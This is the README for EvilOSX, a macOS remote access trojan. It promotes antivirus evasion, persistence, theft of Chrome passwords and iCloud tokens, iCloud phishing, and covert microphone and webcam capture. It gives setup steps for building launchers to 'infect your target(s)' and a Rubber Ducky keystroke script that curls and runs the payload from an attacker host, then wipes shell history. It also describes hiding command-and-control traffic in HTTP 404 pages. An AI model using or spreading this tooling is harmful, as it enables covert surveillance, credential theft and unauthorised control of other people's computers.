EvilOSX

An evil RAT (Remote Administration Tool) for macOS / OS X.

Features

  • Emulate a terminal instance
  • Simple extendable module system
  • No bot dependencies (pure python)
  • Undetected by anti-virus (OpenSSL AES-256 encrypted payloads)
  • Persistent
  • GUI and CLI support
  • Retrieve Chrome passwords
  • Retrieve iCloud tokens and contacts
  • Retrieve/monitor the clipboard
  • Retrieve browser history (Chrome and Safari)
  • Phish for iCloud passwords via iTunes
  • iTunes (iOS) backup enumeration
  • Record the microphone
  • Take a desktop screenshot or picture using the webcam
  • Attempt to get root via local privilege escalation

How To Use

Normal users

The server side requires python3 to run.
The bot side is written in python2 which is already installed on macOS / OS X.

Once python3 is installed, open a terminal and type the following:

# Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Install dependencies required by the server
$ sudo pip3 install -r requirements.txt

# Go into the repository
$ cd EvilOSX

# Start listening for connections
$ python3 start.py

# Lastly, run the built launcher (see the builder tab) on your target(s)

Warning: Because payloads are created unique to the target system (automatically by the server), the server must be running when any bot connects for the first time.

Advanced users

There is also a command line interface for those who want to use this over SSH:

# Create a launcher to infect your target(s)
$ python3 builder.py

# Start listening for connections
$ python3 start.py --cli --port 1337

# Lastly, run the built launcher on your target(s)

Motivation

This project was created to be used with my Rubber Ducky, here's the simple script:

REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER
  • It takes about 10 seconds to backdoor any unlocked Mac, which is...... nice
  • Terminal is spelt that way intentionally, on some systems spotlight won't find the terminal otherwise.
  • To bypass the keyboard setup assistant make sure you change the VID&PID which can be found here. Aluminum Keyboard (ISO) is probably the one you are looking for.

Versioning

EvilOSX will be maintained under the Semantic Versioning guidelines as much as possible.
Server and bot releases will be numbered with the follow format:

<major>.<minor>.<patch>

And constructed with the following guidelines:

  • Breaking backward compatibility (with older bots) bumps the major
  • New additions without breaking backward compatibility bumps the minor
  • Bug fixes and misc changes bump the patch

For more information on SemVer, please visit https://semver.org/.

Design Notes

  • Infecting a machine is split up into three parts:
    • A launcher is run on the target machine whose only goal is to run the stager
    • The stager asks the server for a loader which handles how a payload will be loaded
    • The loader is given a uniquely encrypted payload and then sent back to the stager
  • The server hides it's communications by sending messages hidden in HTTP 404 error pages (from BlackHat's "Hiding In Plain Sight")
    • Command requests are retrieved from the server via a GET request
    • Command responses are sent to the server via a POST request
  • Modules take advantage of python's dynamic nature, they are simply sent over the network compressed with zlib, along with any configuration options
  • Since the bot only communicates with the server and never the other way around, the server has no way of knowing when a bot goes offline
